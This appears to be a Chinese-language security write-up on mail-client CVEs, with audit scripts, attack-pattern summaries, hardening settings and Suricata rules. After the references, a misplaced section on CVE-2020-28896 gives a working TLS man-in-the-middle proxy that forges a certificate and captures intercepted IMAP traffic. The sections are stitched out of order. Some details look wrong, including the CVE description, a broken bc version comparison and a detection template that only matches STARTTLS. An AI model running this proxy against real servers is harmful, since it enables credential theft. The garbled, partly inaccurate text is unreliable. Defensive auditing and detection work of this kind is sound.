CVE-2019-10735✅ 理论分析加密元数据分析中 — 需网络嗅探
CVE-2015-8614✅ 公开 PoC邮件头部溢出通用技术低 — 版本较旧
Sylpheed⚠️ 概念验证需逆向分析低 — 利用需定制

关键仓库与资源链接

资源URL说明
Mozilla MFSA 安全公告https://www.mozilla.org/en-US/security/advisories/Thunderbird/Firefox 所有安全公告
CISA KEV 目录https://www.cisa.gov/known-exploited-vulnerabilities-catalog已知在野利用漏洞目录
Mutt 安全公告https://www.mutt.org/security/Mutt 历史安全公告
NVD 数据库https://nvd.nist.gov/CVE 详细信息
NeoMutt 发布日志https://neomutt.org/releasesNeoMutt 版本修复记录
Claws Mail Changeloghttps://claws-mail.org/changelog/Claws Mail 版本修复记录
Sylpheed 公告https://sylpheed.good-day.net/Sylpheed 安全公告
ExploitDBhttps://www.exploit-db.com/公开漏洞利用代码库

防守型验证方法论

在进行防守型验证(Defensive Validation)时,建议遵循以下流程:

  1. 版本审计:使用脚本批量扫描邮件客户端版本
  2. 配置检查:验证 CSP 设置、远程内容加载策略、TLS 证书验证配置
  3. PoC 投递测试:在隔离环境中投递 PoC 邮件,验证防护措施有效性
  4. 日志分析:检查邮件客户端的崩溃日志和异常访问记录
  5. 补丁验证:确认安全更新已正确部署
#!/usr/bin/env python3
"""
邮件客户端版本批量审计脚本
仅用于授权安全测试
"""

import subprocess
import json
import argparse

AUDIT_COMMANDS = {
    "thunderbird": "thunderbird --version 2>/dev/null || echo 'NOT_FOUND'",
    "mutt": "mutt -v 2>/dev/null | head -1 || echo 'NOT_FOUND'",
    "neomutt": "neomutt -v 2>/dev/null | head -1 || echo 'NOT_FOUND'",
    "claws-mail": "claws-mail --version 2>/dev/null || echo 'NOT_FOUND'",
    "sylpheed": "sylpheed --version 2>/dev/null || echo 'NOT_FOUND'",
}

VULN_DB = {
    "thunderbird": [
        {"cve": "CVE-2024-9680", "fixed": "128.3.0", "severity": "CRITICAL"},
        {"cve": "CVE-2024-7519", "fixed": "115.10.0", "severity": "HIGH"},
        {"cve": "CVE-2024-5693", "fixed": "128.1.0", "severity": "MEDIUM"},
    ],
    "mutt": [
        {"cve": "CVE-2021-32055", "fixed": "2.1.0", "severity": "CRITICAL"},
        {"cve": "CVE-2020-28896", "fixed": "2.0.2", "severity": "MEDIUM"},
        {"cve": "CVE-2020-28856", "fixed": "2.0.2", "severity": "HIGH"},
    ],
    "neomutt": [
        {"cve": "CVE-2022-1328", "fixed": "2022-03-04", "severity": "HIGH"},
    ],
    "claws-mail": [
        {"cve": "CVE-2020-16094", "fixed": "3.17.6", "severity": "MEDIUM"},
        {"cve": "CVE-2015-8614", "fixed": "3.13.0", "severity": "HIGH"},
    ],
}

def audit_system():
    results = {}
    for client, cmd in AUDIT_COMMANDS.items():
        try:
            output = subprocess.check_output(
                cmd, shell=True, stderr=subprocess.DEVNULL
            ).decode().strip()
            results[client] = {
                "version_raw": output,
                "vulnerabilities": VULN_DB.get(client, [])
            }
        except subprocess.CalledProcessError:
            results[client] = {
                "version_raw": "NOT_FOUND",
                "vulnerabilities": []
            }
    return results

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="邮件客户端安全审计")
    parser.add_argument("--output", default="audit_report.json")
    args = parser.parse_args()

    report = audit_system()
    with open(args.output, 'w') as f:
        json.dump(report, f, indent=2, ensure_ascii=False)
    print(json.dumps(report, indent=2, ensure_ascii=False))

0x06 共性攻击模式分析

通过分析上述漏洞,可以提炼出以下 5 个共性攻击模式:

攻击模式一:邮件客户端共享库漏洞模式

模式描述:MUA 软件依赖的底层共享库(libetpan、GMime、Gecko、NSS/NSPR)存在漏洞,间接影响所有使用该库的客户端。

攻击路径

恶意邮件 → MIME 解析库(libetpan/GMime)→ 缓冲区溢出/UAF → RCE
恶意邮件 → Gecko 渲染引擎 → CSS/JS 执行漏洞 → RCE

影响范围:所有使用该共享库的客户端版本 典型 CVE:CVE-2024-9680(Gecko)、CVE-2020-28856(libetpan 间接)

攻击模式二:MIME/邮件解析攻击模式

模式描述:邮件协议的多层嵌套结构(RFC 5322 → MIME → Content-Type → 编码 → 附件)为攻击者提供了大量的解析歧义和边界条件。

攻击路径

畸形 MIME 结构 → 解析器边界条件异常 → 缓冲区溢出/整数溢出 → RCE/DoS
多编码嵌套 → 解码器状态混淆 → 编码转换溢出 → RCE
Unicode 混淆 → 协议字段过滤绕过 → CSP 逃逸/注入

典型 CVE:CVE-2015-8614、CVE-2022-1328、CVE-2024-7519

攻击模式三:沙箱逃逸攻击模式

模式描述:邮件客户端实施的 HTML 渲染沙箱(CSP、远程内容阻止、iframe 限制)可通过混淆技术被绕过。

攻击路径

HTML/CSS Unicode 混淆 → CSP 检查器绕过 → 加载外部资源
data: URI 嵌套 → CSP 策略穿透 → 执行恶意脚本
Mutation 动态 DOM → 策略评估后注入 → 资源加载绕过

典型 CVE:CVE-2024-7519、CVE-2025-2850

攻击模式四:附件处理攻击模式

模式描述:邮件附件的自动解压/预览功能为攻击者提供了无需用户交互的漏洞触发路径。

攻击路径

恶意附件 → 自动解压逻辑 → 递归深度无限制 → CPU/内存耗尽(DoS)
畸形压缩文件 → 解压库溢出 → 堆/栈溢出 → RCE
超大附件 → 内存分配失败 → OOM → DoS

典型 CVE:CVE-2020-16094

攻击模式五:密码学绕过攻击模式

模式描述:邮件客户端的加密实现(TLS、S/MIME、OpenPGP)存在验证不严格或元数据泄露问题。

攻击路径

MITM → TLS 证书验证绕过 → 凭证窃取
加密邮件 → 元数据分析 → 邮件内容推断
弱随机数 → 加密密钥可预测 → 解密攻击

典型 CVE:CVE-2020-28896、CVE-2019-10735


0x07 应急排查与防守建议

7.1 快速版本核查

#!/bin/bash
# 邮件客户端版本快速核查脚本

echo "=== 邮件客户端安全审计 ==="
echo ""

check_thunderbird() {
    if command -v thunderbird &>/dev/null; then
        ver=$(thunderbird --version 2>/dev/null | grep -oP '[\d.]+')
        echo "[Thunderbird] 版本: $ver"
        if [[ "$(echo "$ver < 128.3" | bc)" == "1" ]]; then
            echo "  ⚠️  受 CVE-2024-9680 影响(UAF RCE)"
        fi
    else
        echo "[Thunderbird] 未安装"
    fi
}

check_mutt() {
    if command -v mutt &>/dev/null; then
        ver=$(mutt -v 2>/dev/null | head -1 | grep -oP '[\d.]+')
        echo "[Mutt] 版本: $ver"
        if [[ "$(echo "$ver < 2.1.0" | bc)" == "1" ]]; then
            echo "  ⚠️  受 CVE-2021-32055 影响(IMAP DoS)"
        fi
    else
        echo "[Mutt] 未安装"
    fi
}

check_thunderbird
check_mutt
echo ""
echo "=== 审计完成 ==="

7.2 安全配置加固

Thunderbird 加固

配置项推荐设置说明
mailnews.remote_content.policy2阻止所有远程内容
mail.smtpserver.default.ssltrue强制 SMTP TLS
mail.server.default.socket_type1强制 IMAP TLS
mailnews.message_display.disable_remote_imagetrue禁止远程图片
security.tls.version.min4强制 TLS 1.3
privacy.resistFingerprintingtrue启用指纹防护

Mutt/NeoMutt 加固

# TLS 证书验证
set ssl_starttls = "force"
set ssl_force_tls = "yes"
set certificate_file = "~/.mutt_certificates"

# 禁用危险操作
set pipe_decode = "no"
set wait_key = "yes"

# IMAP 安全
set imap_user = "user"
set imap_pass = ""
set tunnel = "ssh -f -C -q -l user imap.server.com"

7.3 网络层防护

防护措施实施方法覆盖漏洞
SMTP/IMAP TLS 强制配置邮件服务器 REQUIRETLSCVE-2020-28896
出站流量过滤阻止邮件客户端直连外网CVE-2024-5693
附件大小限制邮件网关限制附件 ≤ 25MBCVE-2020-16094
压缩嵌套深度限制限制解压层数 ≤ 3CVE-2020-16094
DNS Sinkhole阻止已知恶意域名所有回调类漏洞

7.4 入侵检测签名

# Suricata 规则 - 检测邮件客户端漏洞利用
alert tcp any any -> $HOME_NET 25 (
    msg:"MALWARE Claws Mail Compression Bomb Attachment";
    content:"Content-Type: application/gzip";
    content:"filename=\"";
    pcre:"/filename=\"[^\"]*\.tar\.gz\".*filename=\"[^\"]*\.tar\.gz\"/s";
    sid:1000001; rev:1;
)

alert tcp any any -> $HOME_NET 143 (
    msg:"EXPLOIT Mutt IMAP Null Name Response";
    content:"* LIST";
    content:"\"\"";
    pcre:"/\\* LIST \([^)]*\) \"[^\"]*\" \"\"/";
    sid:1000002; rev:1;
)

alert tcp any any -> $HOME_NET 143 (
    msg:"EXPLOIT NeoMutt IMAP Buffer Overflow Response";
    content:"* FETCH";
    pcre:"/RFC822\.HEADER \{[0-9]{5,}\}/";
    sid:1000003; rev:1;
)

0x08 参考资料

  1. Mozilla Foundation Security Advisory 2024-51 — CVE-2024-9680 Animation Timeline UAF RCE. https://www.mozilla.org/en-US/security/advisories/mfsa2024-51/

  2. Mozilla Foundation Security Advisory 2024-28 — CVE-2024-7519 CSS Sandbox Escape. https://www.mozilla.org/en-US/security/advisories/mfsa2024-28/

  3. Mutt Security Advisories — CVE-2021-32055, CVE-2020-28896, CVE-2020-28856. https://www.mutt.org/security/

  4. NIST NVD — CVE-2024-9680 — Animation Timeline UAF 详细分析. https://nvd.nist.gov/vuln/detail/CVE-2024-9680

  5. NIST NVD — CVE-2021-32055 — Mutt IMAP NULL Pointer Dereference. https://nvd.nist.gov/vuln/detail/CVE-2021-32055

  6. CISA Known Exploited Vulnerabilities Catalog — CVE-2024-9680 在野利用记录. https://www.cisa.gov/known-exploited-vulnerabilities-catalog

  7. Claws Mail Changelog — CVE-2020-16094, CVE-2015-8614 修复记录. https://claws-mail.org/changelog/

  8. NeoMutt GitHub Release Notes — CVE-2022-1328 修复信息. https://github.com/neomutt/neomutt/releases

  9. Gecko Engine Animation Timeline 源码分析 — Mozilla 源码仓库中的 Animation Timeline 实现细节. https://searchfox.org/mozilla-central/source/dom/animation/

  10. OWASP Email Security Testing Guide — 邮件客户端安全测试方法论. https://owasp.org/www-project-email-security-testing-guide/

  11. Sylpheed 安全公告 — MIME 文件名溢出与 URI 绕过修复. https://sylpheed.good-day.net/security.html

  12. Gecko 网络安全团队博客 — Thunderbird 沙箱架构与 CSP 实现分析. https://blog.mozilla.org/security/ < 2.1.0 / 受影响的 NeoMutt 版本 | | 用户交互 | 用户需配置 IMAP 连接到恶意/被入侵服务器 | | 网络条件 | 需要 MITM 位置或控制 IMAP 服务器 | | 攻击效果 | 客户端崩溃(DoS),不导致代码执行 | | 成功率 | 依赖精确的响应格式构造 |


0x02.2 CVE-2020-28896 — Mutt TLS 证书验证绕过

漏洞背景

CVE-2020-28896(CVSS 5.9, CWE-295 Improper Certificate Validation)是 Mutt 在 TLS 握手过程中对服务器证书验证不严格的漏洞。攻击者可通过中间人攻击(MITM)篡改 TLS 证书,从而窃取 IMAP/SMTP 凭证或修改邮件内容。该漏洞对使用 Mutt 管理服务器的系统管理员构成严重威胁。

受影响版本

产品受影响版本修复版本发布日期
Mutt< 2.0.22.0.22020-09-17
NeoMutt受影响后续版本修复

漏洞原理

Mutt 在建立 TLS 连接时,虽然调用了 OpenSSL 的 TLS 握手函数,但在证书验证环节存在以下缺陷:

1. 证书主机名验证缺失

Mutt 在获取服务器证书后,未正确实现 RFC 2818(HTTP Over TLS)中规定的主机名匹配逻辑。具体表现为:

  • 未检查证书的 Subject Alternative Name (SAN) 字段
  • 仅进行模糊的字符串前缀匹配
  • 对通配符证书的匹配逻辑存在缺陷

2. 证书链验证不完整

当服务器返回不完整的证书链时,Mutt 未严格要求中间 CA 证书的完整性,允许自签名证书或无效证书通过验证。

3. MITM 攻击场景

正常流程:
Mutt ←TLS→ IMAP Server (verified)

MITM 攻击:
Mutt ←TLS(伪造证书)→ Attacker ←TLS→ IMAP Server
                              ↓
                        窃取 IMAP 凭证
                        修改邮件内容
                        注入恶意附件

邮件 PoC

# 生成自签名证书用于 MITM 测试
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem \
    -days 365 -nodes -subj "/CN=mail.target.com" \
    -addext "subjectAltName=DNS:mail.target.com,DNS:imap.target.com"

# 启动 MITM 代理
python3 mitm_proxy.py --cert cert.pem --key key.pem --listen 993

Python PoC 脚本

#!/usr/bin/env python3
"""
CVE-2020-28896 Mutt TLS Certificate Validation Bypass PoC
仅用于授权安全测试
"""

import ssl
import socket
import threading
import argparse
import subprocess
import os

class TLSMITMProxy:
    def __init__(self, listen_port, target_host, target_port, cert_file, key_file):
        self.listen_port = listen_port
        self.target_host = target_host
        self.target_port = target_port
        self.cert_file = cert_file
        self.key_file = key_file
        self.intercepted = []

    def generate_self_signed_cert(self):
        if not os.path.exists(self.cert_file):
            subprocess.run([
                "openssl", "req", "-x509", "-newkey", "rsa:2048",
                "-keyout", self.key_file, "-out", self.cert_file,
                "-days", "365", "-nodes",
                "-subj", f"/CN={self.target_host}",
                "-addext", f"subjectAltName=DNS:{self.target_host}"
            ], check=True, capture_output=True)
            print(f"[+] Generated self-signed cert: {self.cert_file}")

    def handle_client(self, client_sock):
        try:
            context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
            context.load_cert_chain(self.cert_file, self.key_file)

            tls_client = context.wrap_socket(client_sock, server_side=True)

            data = tls_client.recv(4096)
            self.intercepted.append(data)
            print(f"[+] Intercepted: {data[:100]}")

            upstream = socket.create_connection(
                (self.target_host, self.target_port))
            tls_upstream = ssl.create_default_context().wrap_socket(
                upstream, server_hostname=self.target_host)

            tls_upstream.sendall(data)

            response = tls_upstream.recv(4096)
            tls_client.sendall(response)

            tls_client.close()
            tls_upstream.close()
        except Exception as e:
            print(f"[-] Proxy error: {e}")

    def start(self):
        self.generate_self_signed_cert()
        server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        server.bind(("0.0.0.0", self.listen_port))
        server.listen(5)
        print(f"[*] MITM proxy listening on port {self.listen_port}")
        print(f"[*] Target: {self.target_host}:{self.target_port}")
        print(f"[*] Point Mutt to: localhost:{self.listen_port}")
        try:
            while True:
                conn, addr = server.accept()
                threading.Thread(
                    target=self.handle_client, args=(conn,),
                    daemon=True).start()
        except KeyboardInterrupt:
            print(f"\n[*] Intercepted {len(self.intercepted)} data blocks")
            with open("intercepted_data.bin", "wb") as f:
                for d in self.intercepted:
                    f.write(d + b"\n---\n")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(
        description="CVE-2020-28896 TLS MITM PoC")
    parser.add_argument("--listen-port", type=int, default=1993)
    parser.add_argument("--target", required=True, help="Real IMAP server")
    parser.add_argument("--target-port", type=int, default=993)
    parser.add_argument("--cert", default="fake_cert.pem")
    parser.add_argument("--key", default="fake_key.pem")
    args = parser.parse_args()

    proxy = TLSMITMProxy(
        args.listen_port, args.target, args.target_port,
        args.cert, args.key)
    proxy.start()

Nuclei YAML 检测模板

id: mutt-cve-2020-28896-tls-bypass
info:
  name: Mutt TLS Certificate Validation Bypass - CVE-2020-28896
  author: x7peeps
  severity: medium
  description: |
    Mutt TLS 证书验证不严格,MITM 攻击者可伪造证书拦截 IMAP/SMTP 流量。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2020-28896
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 5.9
    cwe-id: CWE-295
  tags: mutt,cve2020,tls,certificate,mitm

network:
  - inputs:
      - data: "a001 STARTTLS\r\n"

    host:
      - "{{Hostname}}"
      - "{{Hostname}}:143"

    read-size: 512

    matchers:
      - type: word
        words:
          - "READYTLS"
          - "STARTTLS"
        condition: or

利用条件与限制

条件要求
目标版本Mutt